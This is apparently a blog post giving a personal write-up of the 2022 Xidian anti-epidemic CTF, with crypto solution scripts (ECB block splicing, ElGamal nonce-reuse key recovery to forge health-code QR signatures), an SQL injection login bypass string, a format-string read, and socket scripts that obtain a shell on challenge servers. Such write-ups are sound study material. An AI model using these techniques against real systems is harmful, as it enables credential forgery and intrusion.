2022西电抗疫CTF个人赛

2022西电抗疫CTF个人赛

详细写了下crypto的wp,其余方向简略给出思路或脚本

CRYPTO

1.做个核酸签个到

逐位遍历二进制的flag和a,b比较即可。

from Crypto.Util.number import *
t=4475588893486760807434877361949655702156202
a=10403436853134845129656953606837707260539903
b=2994485173442830774576326061629704337957160

t=bin(t)[2:].zfill(143)
a=bin(a)[2:].zfill(143)
b=bin(b)[2:].zfill(143)
res=''
for i in range(143):
    for j in (0,1):
        if j|int(t[i])==int(a[i]) and j&int(t[i])==int(b[i]):
            res+=str(j)
print(long_to_bytes(int(res,2)))

2.Random?Secure?Algorithm?

运行gen_prime()函数发现每次输出均相同,则加密过程即为n=p * q * r * s , p=q=r=s的RSA

from random import *
from Crypto.Util.number import*
n=2220807746894627523222202124776163478527976105639908696684960749126424512881854877612451343059455214098898034661237728063590623533844736775173121931789755672281308428039481610223926648486535537266518592523804878106456736231116970493024909507160799408290646002104567544126920953422128397093317788717069423812791560021066430498563457374609893334361756465420330176244989676586479166336218556641172090718482194292197412911139771273274714095735297058566121733012205906499181231909338887015496742596987502746140740611885150614938360456497893944529865631525824696926783090332719331167229992334443881034786985550920319985734221666713601
c=634057945874353594022022069483974274802345710976798102667748679310082300326072415452246707696914695264376634375433404430691377289430628864830705005890158416150698258253919718484678774288826541601787179699274130877838178274549997680506212326443386524962637463047111837598586603070301100227308868294313317591522323170042363202978135769499399961383546980034634956104147199359999671017544747241485716932828394760511756379878402551287792764280949085295956683651929873602289520407522116635348927049436823594743766190445303191020310627575176711547105464725518638312131699845488260895331033189716088924897737884915591463313831762560128
e=0x10001

def gen_prime():
    bits = randrange(200,500)
    tmp = 1 << bits
    while 1:
        if isPrime(tmp - 1):
            return tmp - 1 
        tmp <<= 1

p=gen_prime()
phi=(p-1)*p*p*p
d=inverse(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))

3.fight_against_covid

flag为32位长的字符串,化为二进制形式后长度为32*8。

函数transmission_of_COVID() 是每次把二进制的flag循环右移一位,一共右移4次,只要写出循环左移4次或者再循环右移32*8-4次即可还原flag

from Crypto.Util.number import *
BITS_LEN = 32 * 8
APART_LEN = 1
TIMES = 32*8-4
state=43440857574112066559373619969745981593504262639540191600960458557114603451242

def transmission_of_COVID(state):
    for i in range(TIMES):
        tmp1 = state >> APART_LEN
        tmp2 = state >> (BITS_LEN - APART_LEN) << (BITS_LEN - APART_LEN)
        tmp_state = tmp1 ^ tmp2
        state  = tmp_state ^ state
    return state
print(long_to_bytes(transmission_of_COVID(state)))

4.AweSomeSha3!

先看源码45行

if len(msg) < len(flag):
                msg =  msg + os.urandom(len(flag) - len(msg))

如果我们发送消息长度小于flag长度,则我们的消息会被加上随机字节直到长度与flag相等。只要msg相同,最后返回的结果都是相同的。我们利用这一特性,发送相同长度的消息两次,查看返回的结果是否相同即可确定flag长度。经测试len(flag)=39。

再看源码47-51行

my_and = xor_a_b(xor_a_b(xor_a_b(xor_a_b(and_a_b(msg,flag),magic1),magic2),magic2),magic1)
#my_and等同于and_a_b(msg,flag)
my_xor = xor_a_b(xor_a_b(xor_a_b(xor_a_b(xor_a_b(msg,flag),magic1),magic2),magic2),magic1)
#my_xor等同于xor_a_b(msg,flag)
my_mix = mix_a_b(my_xor,my_and)
the_real_mix = sha3_512(my_mix).hexdigest()

在mix_a_b函数中输出的第i字节为a中的第(b[i-1]+1)%len(a)字节。只要b的所有字节均相同,输出的my_mix所有字节均相同。考虑b为全0的情况,输出my_mix全为a的第一位。

要构造这种情况,只需使输入的msg为全0即可。此时my_and=b’0‘ * 39,my_xor=flag,my_mix全为my_xor的第一位‘f’,最后返回的结果为sha3_512(b’f’ * 39)。

下一步,改变msg中的一个不是前8位的比特位为1。此时,若flag该位为0,my_and结果不变,my_xor第一个字节‘f’不变,则my_mix不变,返回结果也不变。若flag该位为1,my_and其中一位改变,my_mix结果改变,返回结果改变。这样通过遍历msg中不是前8位的每一个比特位,即可得到flag中不是前8位的每一个比特位。在最后的flag前面加上‘f’即可。

from time import sleep
from Crypto.Util.number import *
from hashlib import  sha3_512
import socketserver
import signal
import os
import socket

ip , port = '101.34.206.158' , 10002
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print(s.recv(2048))
print(s.recv(2048))
LEN=39

print(sha3_512(b'f'*39).hexdigest())
res=''
sha=b'-[+]Oh!Sir/Madam,your msg is mixed into:bed31c723762cf4aaf6c5d426ca3cc3c3d8d61efaef7eefde8e0d04b3be8d0102d3f5cb665925fee5fb6c676a68d590cb692d41b373be76f38c5af9716973f87\n'
for i in range(1,39):
    print(i)
    for j in range(8):
        n=hex(2**(7-j))[2:].zfill(2)
        m1='00'*i
        m2='00'*(39-i-1)
        msg=m1+n+m2
        s.send(msg.encode())
        r=s.recv(2048)
        #print(r)
        s.recv(2048)
        if r==sha:
            res+='0'
        else:
            res+='1'
print(res)
print(b'f'+long_to_bytes(int(res,2)))

5.BOB的健康码

5.1 BOB的健康码1

查看源码,二维码解码后数据data的格式为{"name": "alice", "time": 1641181093, "isRed": 1},其中只包含姓名,时间戳,是否为红码三个参数。服务器有4个人alice,bob,carol,david的是否为红码数据,只有alice为红码。

这题data没有经过任何加密,可以随意修改内容。从服务器获取一个alice的二维码,了解格式后把时间戳和是否为红码修改再编码提交即可通过。(时间戳只有30秒有效期

import time
from PIL import Image
from base64 import *
import qrcode
import pyzbar.pyzbar as pyzbar
def qrdecode(qr , size):
    qr = b64decode(qr)
    code = Image.frombytes('1' , size,qr)
    m = pyzbar.decode(code)
    return m[0].data
def qrencode(data):
    qr = qrcode.QRCode(
        error_correction = qrcode.ERROR_CORRECT_L,
        border=1,
        box_size=1
    )
    qr.add_data(data)
    qr.make(fit=True)
    img = qr.make_image()
    #print(img.get_image())
    return b64encode(img.tobytes())
t=int(time.time())
data=b'{"name": "alice", "time": 1641181093, "isRed": 0}'
data=data.replace(b'1641181093',str(t).encode())
print(data)
size=(31,31)#经过尝试,size为31
res=qrencode(data)
print(res)

5.2 BOB的健康码2

这题的data经过aes的ecb模式加密,且每次使用的密钥相同。ecb模式分块加密,每块16字节长,且不考虑密文完整性。可以通过拼接两次加密的不同块达到伪造的效果。

data长度为49字节,加密时被分为4块,最后一块有15bit的padding。已知alice,carol,david三人姓名长度相同,他们data的第一块包含姓名信息,后面几块包含时间戳和是否为红码信息。我们向服务器请求alice和david的二维码,将alice的第一块与david的后三块拼接再发送即可通过。

def solve(qr1,qr2):
    size=(39,39)#经过尝试,size为39
    c1=b64decode(qrdecode(qr1,size))#alice
    c2=b64decode(qrdecode(qr2,size))#david
    c_=c1[:16]+c2[16:]
    data_=b64encode(c_)
    qr_=qrencode(data_).decode()
    print(qr_)
    return qr_

5.3 BOB的健康码3

这题的data后面附有elgamal数字签名(具体过程请百度),服务器将每次发送的数据签名后发送,每次接收的数据验签后接收。

通过阅读elgamal源码,发现源码在签名过程中的k并不是随机选取的,而是和私钥x有关。每次签名私钥x不变,则k也不变,r=g^k(mod p)也不变。我们向服务器获取alice和david的数据m1,m2及其签名(r1,s1),(r2,s2)。

写出s的定义式,对于两次签名(r1,s1),(r2,s2),x,r,k,q都是定值。
s ≡ ( H ( m ) − x r ) k − 1 ( m o d q ) (1) s \equiv (H(m)-xr)k^{-1}\pmod {q} \tag{1} s(H(m)xr)k1(modq)(1)
构造s1-s2消去未知的x。
s 1 − s 2 = ( H ( m 1 ) − H ( m 2 ) ) k − 1 ( m o d q ) (2) s_1-s_2=(H(m_1)-H(m_2))k^{-1}\pmod {q} \tag{2} s1s2=(H(m1)H(m2))k1(modq)(2)
由q是素数,(s1-s2)一定与q互素,(s1-s2)模q的逆存在,可以列出k的计算式:
k = ( H ( m 1 ) − H ( m 2 ) ) ∗ ( s 1 − s 2 ) − 1 ( m o d q ) (3) k=(H(m_1)-H(m_2))*(s_1-s_2)^{-1}\pmod {q} \tag{3} k=(H(m1)H(m2))(s1s2)1(modq)(3)
得到k后再将k代入(1)式中即可得到私钥x,就可以用私钥伪造签名了。

from Crypto.Util.number import *
from random import *
from hashlib import *
from base64 import *
import os
import json
import time
from PIL import Image
import qrcode
from Crypto.Cipher import AES
import pyzbar.pyzbar as pyzbar
def pad(m):
    padlen = 16 - len(m)%16
    return m + bytes([padlen] * padlen)
def unpad(m):
    padlen = m[-1]
    for i in range(padlen):
        if m[-i-1] != padlen:
            return 0
    return m[:-padlen]
def qrdecode(qr , size):
    qr = b64decode(qr)
    code = Image.frombytes('1' , size,qr)
    m = pyzbar.decode(code)
    return m[0].data
def qrencode(data):
    qr = qrcode.QRCode(
        error_correction = qrcode.ERROR_CORRECT_L,
        border=1,
        box_size=1
    )
    qr.add_data(data)
    qr.make(fit=True)
    img = qr.make_image()
    #print(img.get_image())
    return b64encode(img.tobytes())
def elgamal_sign(key , m):
    p ,q , g , y , x = key
    k = int(sha256(str(x).encode()).hexdigest() , 16)
    m = int(sha256(m).hexdigest() , 16)    
    r = pow(g ,k , p)
    s = (m - x*r)*inverse(k , q) % q
    return b64encode(long_to_bytes(r).rjust(16, b'\x00') + long_to_bytes(s).rjust(16 , b'\x00'))

size=(39,39)#经过尝试,size为39
p,q,g,y=(266828192396796316651265339006252656547, 133414096198398158325632669503126328273, 15364015048434983000852121103848437850, 208157834112908509672981932742105727819)
qr1=b'//6AvmZWAr6z0er6oppYIoqiigZeiqLKJFaKvo3z+vqAqqqqAv/nlDP+mOq6a0LHnWVXHugPejXulfqNYM6UJ7ToZu/pvhU+wKA5Y96pR0x1DojJ1KhKwW6+Jy62PA1gnslKRf/CsGeZaGaFuDYHPvDRf3ZO12bI80LiasSoapVvDge+4v5rUxb/SsAz6o6ElLgu/5pna7aAwH86rr61ACOuorkWuCai/BlaQqLvXlROvoqQ7WaAtPLfYv/+'
qr2=b"//6A36huAr6SX9L6osZp5oqilveaiqLqqm6Kvq09wvqAqqqqAv/7Zff+ggh0UVbJ3ytv/tjCW7Ly0Ubsp9KEtLrQhuVKAA3e3FxItMKZay2iEuQ4GpCq804wH86ssVyngpvWZDje7iSXUIaJ2ag/3tq9brHS5bq5NF7qSdqQipO8gD9eukIKlEqxdrH0tq4nWoAO/6kpU7aAnC76kr7pceOyoprYgAaijydikqKTf5NyvobhKrqAhxznYv/+"
#p,q,g,y=input().split(', ')
p,q,g,y=int(p),int(q),int(g),int(y)
#qr1=input('qr1\n').encode()
#qr2=input('qr2\n').encode()
data1=qrdecode(qr1 , size)
data2=qrdecode(qr2 , size)
data1 , t1 = data1[:-44] ,data1[-44:]
data2 , t2 = data2[:-44] ,data2[-44:]
m1 = int(sha256(data1).hexdigest() , 16)
t1 = b64decode(t1)
m2 = int(sha256(data2).hexdigest() , 16)
t2 = b64decode(t2)
r1 = bytes_to_long(t1[:16])
s1 = bytes_to_long(t1[16:])
r2 = bytes_to_long(t2[:16])
s2 = bytes_to_long(t2[16:])

k=((m1-m2)*inverse(s1-s2,q))%q
x=((m1-s1*k)*inverse(r1,q))%q
key=(p,q,g,y,x)

new_time=str(int(time.time())).encode()
new_m=b'{"name": "alice", "time": 1641181093, "isRed": 0}'
new_m=new_m.replace(b'1641181093',new_time)
new_t=elgamal_sign(key,new_m)
new_data=new_m+new_t
new_qr=qrencode(new_data)
print(new_qr.decode())

MISC

1-6

题目解法
1.戴上口罩flag在口罩下面,从下往上选取就行了
2.帮阿伟买个口罩吧找RPGMAKER的修改器RMModify把存档金钱修改即可
3.打不开的压缩包伪加密,用7zip就打开了
4.佛说与佛论禅https://www.keyfc.net/bbs/tools/tudoucode.aspx
5.不一样的贝斯base32 base64
6.奇怪的文件PNG头部缺0D0A1A0A四个字节,然后Stegsolve解LSB隐写

WEB

1-6

题目解法
1.F12看源代码,AAEncode
2.你喜欢copy吗复制源代码然后用python的split分开
3.ez_game找到enemys.js,把击杀敌人分数改成9999
4.tips看源代码找注释/?answer=,答案为121.196.162.53:10000/?answer=B,E
5.让我访问!burp改头部HTTP为HS
6.真是个好简单的sql注入啊!SELECT * FROM users WHERE username = ‘\’ AND password = ’ or 1=1#’

PWN

1-3

题目解法
1.shell直接给了shell。 cat flag
2.fdpuzzle1:两次分别输入1131796,secretKey;puzzle2不会
3.integer整型溢出,输入2147483648获得shell

4.Collision

from Crypto.Util.number import*
#Big-endian or Little-endian
s=b"secretKey"+b'\x00'*3
s=b"rceseKte\x00\x00\x00y"
l=[0,0,0]
a0=bytes_to_long(s[:4])
a1=bytes_to_long(s[4:8])
a2=bytes_to_long(s[8:])
print(a0,a1,a2,0,0)
# 1919116659 1699443813 121 0 0

5.scripts

在接收的数据中找出两个数字再把两个数字的和发回去100次以上就能拿到shell

import socket
ip , port = '1.117.139.210' , 9605
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
for i in range(5):
    print(s.recv(1024))

for i in range(101):
    t=s.recv(1024)
    t=t.split(b'\n')
    a=int(t[1][12:])
    b=int(t[2][12:])
    #print(a+b)
    s.send((str(a+b)+'\n').encode())
    s.recv(1024)

for i in range(3):
    print(s.recv(1024))

s.send(b'cat ./flag\n')
print(s.recv(1024))

6.formatstring

第一次输入64个0把字符串溢出,获得flag后半段

第二次利用printf格式化字符串漏洞读取地址0x004040c0的字符串

import socket
ip , port = '1.117.139.210' , 9602
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))

print(s.recv(1024))
addr=bytes.fromhex('00000000C04040')
s.send(b'%7$s'+addr+b'\n')
print(s.recv(1024))
print(s.recv(1024))
s.close()

REVERSE

不会re,有时候在ida获得神秘字符串,加加减减异或就得到flag了- -

1.the edge

安装运行拖动边界

2.bullshxt

ida获得神秘字符串“gmbh|u4bdi4s(t`cm11e`qs4ttvs4`VQVQ~”

a='gmbh|u4bdi4s(t`cm11e`qs4ttvs4`VQVQ~'
for i in a:
    print(chr(ord(i)-1),end='')

3.click it!

直接拖进ida搜索字符串

4.runme

a='103 110 98 99 126 85 54 102 110 85 75 83 94 62 97 41 78 38 76 65 32 107'.split(' ')
for i in range(len(a)):
    print(chr(int(a[i])^i+1),end='')

5.recovery

c=b"'31=3\t3333\x9d3/\x8d\x17-#-\xbd1\xbd\xbd\xed\x05\xed\xed\xed\xed\xed\xed\xed\xed"

def swap_matrix_row(matrix):
    for i in range(0, len(matrix) - 1, 2):
        matrix[i],matrix[i+1] = matrix[i+1], matrix[i]
    return matrix
c=[bin(c[i])[2:].zfill(8) for i in range(32)]
c=swap_matrix_row(c)
for i in range(32):
    c[i]=c[i][-1]+c[i][:-1]
print(bytes([int(i,2)^0xff for i in c]))
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
2022网刃杯CTF是一场面向信息安全爱好者的竞技赛,旨在测试参与者在网络安全领域的技术水平和解决问题的能力。CTF是Capture The Flag的缩写,意指夺旗赛。比赛中,参与者需要根据给定的情景和任务,通过寻找和利用漏洞获得各种加密标记,即旗帜,以证明攻击并取得成功。 2022网刃杯CTF为参与者提供了一个良好的平台,帮助他们提升对网络安全的认知和技能,更好地理解网络攻防的原理和方法。参赛者将面对各种类型的题目,例如逆向工程、密码学、Web安全、二进制攻防等,需要通过解决这些题目来获取旗帜。 除了对技术水平的要求,参赛者还需要具备良好的团队协作能力,因为很多题目需要进行合作解决。此外,比赛还会设置一些线下考核,通过面对面交流和互动,增加了比赛的趣味性和挑战性。 参与2022网刃杯CTF对于从事信息安全相关工作的人来说是一次很好的学习和锻炼机会。通过参与这样的比赛,他们能够不断学习和掌握最新的网络攻防技术,提高自己的技术水平和解决问题的能力。同时,比赛还能够帮助建立更广泛的人脉,与其他安全领域的专家和爱好者交流和讨论,拓宽自己的眼界。 总而言之,2022网刃杯CTF是一次非常有意义和有益的比赛活动,它能够帮助参与者提升自己在网络安全领域的技术水平和解决问题的能力,并且通过比赛的方式增强团队合作和交流能力。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值